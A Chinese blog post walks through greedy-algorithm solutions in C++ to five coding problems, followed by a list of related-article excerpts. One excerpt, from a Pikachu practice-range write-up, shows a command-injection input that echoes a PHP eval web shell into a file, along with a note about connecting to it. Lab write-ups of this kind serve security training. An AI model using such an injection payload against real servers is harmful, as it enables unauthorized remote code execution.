【贪心算法】区间类算法题(整数替换、俄罗斯套娃、重构字符串等、C++)

文章目录

  • 1. 前言
  • 2. 算法题
    • 1.整数替换
    • 2.俄罗斯套娃信封问题
    • 3.可被三整除的最大和
    • 4.距离相等的条形码
    • 5.重构字符串

1. 前言

贪心算法(Greedy Algorithm)是一种在每一步选择中都采取当前状态下最优决策的算法。贪心算法通常用来解决最优化问题,其核心思想是通过局部最优解逐步推导出全局最优解。

在贪心算法中,我们并不总是考虑到未来可能发生的情况,而是只关注当前的最优选择。这种贪心选择性质使得贪心算法特别适合解决那些具有最优子结构性质的问题,即局部最优解能够推导出全局最优解的问题。

贪心算法的基本思路可以总结为以下几步:

  1. 确定问题的最优子结构:问题的最优解可以通过子问题的最优解逐步推导得到。
  2. 构造贪心选择:在每一步都做出当前状态下的最优选择,即局部最优解。
  3. 证明贪心选择性质:证明每一步的贪心选择都是最优的,能够推导出全局最优解。

需要注意的是,贪心算法并不适用于所有的问题,因为并非所有问题都具有最优子结构性质。在某些情况下,贪心算法得到的结果可能并不是全局最优解,而只是一个较好的解。因此,在应用贪心算法时,需要仔细分析问题的特性,以确定贪心算法是否适用于该问题。


2. 算法题

1.整数替换

在这里插入图片描述

思路

题目求解将整数 n 转换为 1 的最小操作次数。操作可以是将 n 变为 n/2(当 n 是偶数时)或将 n 增加或减少 1(当 n 是奇数时):

  1. 如果 n 是偶数:直接将 n 除以 2,并增加操作计数 ret
  2. 如果 n 是奇数
    • 特例:当 n 是 3 时,直接将其变为 1,共需要两次操作。
    • 一般情况:根据 n 的末尾二进制位判断操作:
      • 末尾为 01n % 4 == 1,则将 n 减 1 并除以 2。
      • 末尾为 11n % 4 == 3,则将 n 加 1 并除以 2。

代码

class Solution {
public:int integerReplacement(int n) {// 贪心int ret = 0;while(n > 1){if(n % 2 == 0){n /= 2;++ret;}else{// 以二进制进行分析if(n == 3){ret += 2;n = 1;} else if (n % 4 == 1) { // ....01n = (n - 1) / 2;ret += 2;} else { // ...11n = n / 2 + 1;ret += 2;}}    }return ret;}
};

2.俄罗斯套娃信封问题

在这里插入图片描述

思路

题目要求解“俄罗斯套娃信封”问题,即找出能在彼此中嵌套的最大信封数目。核心思路是:贪心 + 二分

  1. 排序:首先对信封按左端点升序排序,如果左端点相同,则按右端点降序排序。这确保了左端点相同的信封不会嵌套。

  2. 贪心 + 二分搜索

    • 使用一个动态数组 ret 来存储当前有效的信封序列的右端点。
    • 遍历每个信封的右端点 b
      • 如果 b 大于 ret 的最后一个元素,表示可以将 b 追加到 ret 的末尾。
      • 否则,使用二分搜索在 ret 中找到第一个不小于 b 的位置,并替换该位置的值,以维持 ret 的非递减顺序。
  3. 返回结果ret 的大小即为最大嵌套信封的数目。

这个算法的时间复杂度为 O(n log n),其中 n 是信封的数量。

class Solution {
public:int maxEnvelopes(vector<vector<int>>& envelopes) {sort(envelopes.begin(), envelopes.end(), [&](const vector<int>& v1, const vector<int>& v2){// 左端点不同,则按左端点排序; 左端点相同,则按右端点排序降序return v1[0] != v2[0] ? v1[0] < v2[0] : v1[1] > v2[1];});// 贪心 + 二分优化vector<int> ret;ret.push_back(envelopes[0][1]);for(int i = 1; i < envelopes.size(); ++i){int b = envelopes[i][1];if(b > ret.back()){ret.push_back(b);}else{// 二分: 到第一个大于或等于当前元素的位置int left = 0, right = ret.size() - 1;while(left < right){int mid = (left + right) >> 1;if(ret[mid] >= b) right = mid;else left = mid + 1;}ret[left] = b;}}return ret.size();}
};

3.可被三整除的最大和

在这里插入图片描述

思路

题目要求计算一个数组 nums 中的最大和,使其能被3整除。具体步骤如下:

  1. 初始化变量sum 记录数组总和,x1, x2 分别记录 %3 == 1 的最小和次小数,y1, y2 记录 %3 == 2 的最小和次小数。

  2. 遍历数组:累加 sum,同时更新 x1, x2, y1, y2 记录对应的最小值。

  3. 分类讨论

    • 如果 sum % 3 == 0,则 sum 已经可以被3整除,直接返回。
    • 如果 sum % 3 == 1,考虑去掉 %3 == 1 的最小值或去掉 %3 == 2 的最小两个值(以保证总和能被3整除),取两者的最大值。
    • 如果 sum % 3 == 2,类似地,考虑去掉 %3 == 2 的最小值或去掉 %3 == 1 的最小两个值,取两者的最大值。
  4. 返回结果:如果没有满足条件的结果,返回 -1

代码

class Solution {
public:int maxSumDivThree(vector<int>& nums) {const int INF = 0x3f3f3f3f;// x1,x2: 标记%3==1的数 的最小与次小数// y1,y2: 标记%3==2的数 的最小与次小数int sum = 0, x1 = INF, x2 = INF, y1 = INF, y2 = INF;for(auto num : nums){sum += num;if(num % 3 == 1){if(num < x1) x2 = x1, x1 = num;else if(num < x2) x2 = num;}else if (num % 3 == 2){if(num < y1) y2 = y1, y1 = num;else if(num < y2) y2 = num;}}// 分类讨论if(sum % 3 == 0) return sum;else if (sum % 3 == 1) return max(sum - x1, sum - y1 - y2);// else return max(sum - y1, sum - x1 - x2); else if (sum % 3 == 2) return max(sum - y1, sum - x1 - x2); return -1;}
};

4.距离相等的条形码

在这里插入图片描述

思路

题目要求重新排列 barcodes 中的元素,使得相同元素不相邻。下面是代码的步骤:

  1. 统计元素频率:使用 unordered_map 记录每个元素的出现次数,并找到出现次数最多的元素 maxVal 和其出现次数 maxCount

  2. 插入最多的元素:在结果向量 ret 的偶数位置(0, 2, 4, ...)中填充最多出现的元素 maxVal

  3. 插入其余元素:将其他元素插入到结果向量中,首先填充偶数位置后,如果偶数位置已满,则从奇数位置开始填充。

  4. 返回结果向量:生成的向量符合要求,即相同元素不相邻。

代码

class Solution {
public:vector<int> rearrangeBarcodes(vector<int>& barcodes) {unordered_map<int, int> hash; // 用于记录出现次数最多的那个数int maxVal = 0, maxCount = 0;for(auto x : barcodes){if(maxCount < ++hash[x])maxVal = x, maxCount = hash[x];}// 插入出现次数最多的那个元素maxValvector<int> ret(barcodes.size());int index = 0;for(int i = 0; i < maxCount; ++i){ret[index] = maxVal;index += 2;}// 插入其余元素hash.erase(maxVal);for(auto [a, b] : hash){// 根据每一位的次数插入for(int i = 0; i < b; ++i){// 超出数组范围后从奇数开始插入元素if(index >= barcodes.size()) index = 1;ret[index] = a;index += 2;}}return ret;}
};

5.重构字符串

在这里插入图片描述

思路

题目要求重排字符串 s,使得相同字符不相邻。代码步骤如下:

  1. 统计字符频率:使用 unordered_map 记录每个字符的出现次数,并找出出现次数最多的字符 maxCh 和其出现次数 maxCount

  2. 检查可重排性:如果 maxCount 超过 (n + 1) / 2,则无法重排,直接返回空字符串。

  3. 填充结果字符串

    • 处理最多的字符:首先将出现次数最多的字符 maxCh 插入到结果字符串的所有偶数位置(0, 2, 4, ...)。
    • 处理其余字符:将其余字符插入到结果字符串的空闲位置中,先填充偶数位置,如果偶数位置填满,则转到奇数位置。
  4. 返回结果字符串:生成的字符串符合要求,确保相同字符不相邻。

代码

class Solution {
public:string reorganizeString(string s) {unordered_map<char, int> hash; // 统计字符以及出现次数// 找出现次数最多的字符char maxCh = ' '; int maxCount = 0, n = s.size();for(auto ch : s){if(maxCount > (n + 1) / 2) return ""; // 不能重构if(maxCount < ++hash[ch]){maxCount = hash[ch];maxCh = ch;}}// 处理出现次数最多的字符int index = 0;string ret(n, ' '); // 结果字符串for(int i = 0; i < maxCount; ++i){// ret.insert(index, 1, maxCh);ret[index] = maxCh;index += 2;}// 处理其余字符hash.erase(maxCh);for(auto [a, b] : hash){// 对每个元素进行次数插入for(int j = 0; j < b; ++j){if(index >= n) index = 1;ret[index] = a;index += 2;}}return ret;}
};

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/879000.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Elasticsearch数据写入过程

1. 写入请求 当一个写入请求&#xff08;如 Index、Update 或 Delete 请求&#xff09;通过REST API发送到Elasticsearch时&#xff0c;通常包含一个文档的内容&#xff0c;以及该文档的索引和ID。 2. 请求路由 协调节点&#xff1a;首先&#xff0c;请求会到达一个协调节点…

大数据决策分析平台建设方案(可编辑的56页PPT)

引言&#xff1a;在当今信息爆炸的时代&#xff0c;大数据已成为企业决策制定、业务优化与市场洞察的重要驱动力。为了充分挖掘大数据的潜在价值&#xff0c;提升决策效率与精准度&#xff0c;构建一套高效、灵活、可扩展的大数据决策分析平台显得尤为重要。通过大数据分析平台…

部分库函数及其模拟

前言&#xff1a;当我们学习c/c库函数的时候&#xff0c;我们可以用网站 cplusplus.com - The C Resources Network 来进行查阅&#xff0c;学习。 目录 库函数&#xff1a; 1.字符串函数 1.1求字符串长度 strlen 1.2长度不受限制的字符串函数 1.2.1strcpy 1.2.2strca…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

c中 int 和 unsigned int

c语言中&#xff0c;char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同&#xff0c;比如&#xff1a;char/unisigned char表示8位整数&#xff1b; short/unsigned short表示16位整…

CATIA P3 V5-6R2020下载安装教程,附软件包百度网盘分享下载链接地址

CATIA V5软件介绍 CATIA V5 是达索系统公司开发的 CAD/CAE/CAM 一体化软件&#xff0c;在多行业广泛应用。它源于航空航天业&#xff0c;也是汽车工业事实标准。其发展历经多个版本&#xff0c;V5 版本界面友好且功能强大。 特点包括强大功能&#xff0c;如先进建模技术可创建…

Linux Vim的 命令大全

Linux Vim的 命令大全 文章目录 Linux Vim的 命令大全[TOC](文章目录)Vim 的历史Vi 的诞生Vim 的诞生Vim 的开源与发展Vim 的影响力1.Vim 的基本模式2. 正常模式常用命令3. 插入模式4. 命令模式5. 可视模式6. 其他有用的命令7. 自定义设置下载 Vim 的历史 Vim 的历史可以追溯到…

SD三分钟入门!秋叶大佬24年8月最新的Stable Diffusion整合包V4.9.7来了~

1 什么是 Stable Diffusion&#xff1f; Stable Diffusion&#xff08;简称SD&#xff09;是一种生成式人工智能技术&#xff0c;于2022年推出。它主要用于根据文本描述生成精细图像&#xff0c;同时也可应用于其他任务&#xff0c;如图像修补、扩展&#xff0c;以及在文本提…

pycharm如何安装selenium

在pycharm中打开一个项目后,点击Setting(ALTCtrlS快捷键) 然后点击install package完成后点击关闭这个窗口,就可以在代码中使用selenium了 成功后出现如下界面 编写一段正常可以运行操作chorme浏览器的 from selenium import webdriver # 指定ChromeDriver的路径driver we…

SQL 编程基础

SQL&#xff08;结构化查询语言&#xff09;广泛应用于数据库操作&#xff0c;是每个程序员都需要掌握的技能之一。这篇文章将带你从基础入门&#xff0c;了解SQL编程中的常量、变量及流程控制语句。我们将采用简单易懂的语言&#xff0c;结合实际示例&#xff0c;帮助你轻松理…

骨传导耳机推荐排名,精选五款热门好用不踩雷推荐

近两年来&#xff0c;骨传导运动蓝牙耳机在运动领域内日益流行。与传统耳机相比&#xff0c;它的显著优势是能够保持双耳开放&#xff0c;不会堵塞耳道&#xff0c;消除了入耳式耳机可能引起的不适感。此外还能避免运动时耳内出汗可能导致的各种卫生和健康问题。很多人就问了&a…

Python 调用手机摄像头

Python 调用手机摄像头 在手机上安装软件 这里以安卓手机作为演示&#xff0c;ISO也是差不多的 软件下载地址 注意&#xff1a;要想在电脑上查看手机摄像头拍摄的内容的在一个局域网里面(没有 WIFI 可以使用 热点 ) 安装完打开IP摄像头服务器 点击分享查看IP 查看局域网的I…

谷粒商城のNginx

文章目录 前言一、Nginx1、安装Nginx2、相关配置2.1、配置host2.2、配置Nginx2.3、配置网关 前言 本篇重点介绍项目中的Nginx配置。 一、Nginx 1、安装Nginx 首先需要在本地虚拟机执行&#xff1a; mkdir -p /mydata/nginx/html /mydata/nginx/logs /mydata/nginx/conf在项目…

数学建模笔记——TOPSIS[优劣解距离]法

数学建模笔记——TOPSIS[优劣解距离法] TOPSIS(优劣解距离)法1. 基本概念2. 模型原理3. 基本步骤4. 典型例题4.1 矩阵正向化4.2 正向矩阵标准化4.3 计算得分并归一化4.4 python代码实现 TOPSIS(优劣解距离)法 1. 基本概念 C. L.Hwang和 K.Yoon于1981年首次提出 TOPSIS(Techni…

Windows操作系统sid系统唯一标识符查看和修改

1、sid介绍 sid 作为windows系统唯一的标识&#xff0c;对某些集群业务有依赖关系&#xff0c;如果重复可能导致集群部署异常。 如&#xff1a;域控AD 就依赖 sid 功能。 但是某个云主机或虚拟机使用同一个ghost进行操作系统部署&#xff0c;就可能会导致重复的情况&#xf…

为什么现在都流行开放式耳机?平价高品质蓝牙耳机推荐大赏

现在开放式耳机流行&#xff0c;是因为相比入耳式&#xff0c;它具有以下的优势&#xff1a; 一、佩戴舒适 开放式耳机通常设计轻盈&#xff0c;不直接刺激耳膜&#xff0c;长时间使用也不会给耳膜带来压迫感。而且其不入耳的设计不会堵塞耳道&#xff0c;使用较长时间后&…

Notepad++ 修改 About

1. 用这个工具&#xff0c;看标题&#xff0c;修改 1700 里的 Caption, 保存为 xx.exe, 2.修改链接&#xff0c;先准备如上。 2.1 使用插件 Hex Editor&#xff0c;拖入刚保存的 Notepad.exe 到 Notepad.exe, 按 c..S..H 2.2 按 ctrlf 查找 68 00 74 00 74 00 70 00 73 00 3…

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中&#xff0c; "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时&#xff0c;经常听到第一范式&#xff08;1NF&#xff09;、第二范式&#xff08;2NF&#xff09;、第三范式&#xff08;3NF&#xff09;以及 BCNF&#xff08;Boyce-…

线程的四种操作

所属专栏&#xff1a;Java学习 1. 线程的开启 start和run的区别&#xff1a; run&#xff1a;描述了线程要执行的任务&#xff0c;也可以称为线程的入口 start&#xff1a;调用系统函数&#xff0c;真正的在系统内核中创建线程&#xff08;创建PCB&#xff0c;加入到链…

利士策分享,从零开始创业:一场勇敢而精彩的旅程

利士策分享&#xff0c;从零开始创业&#xff1a;一场勇敢而精彩的旅程 附上可落地执行的策略&#xff1a; 在创业的征途中&#xff0c;理论固然重要&#xff0c;但可落地执行的策略才是推动我们前进的实际动力。 以下是一些具体且可操作的策略&#xff0c;希望可以帮助你从零…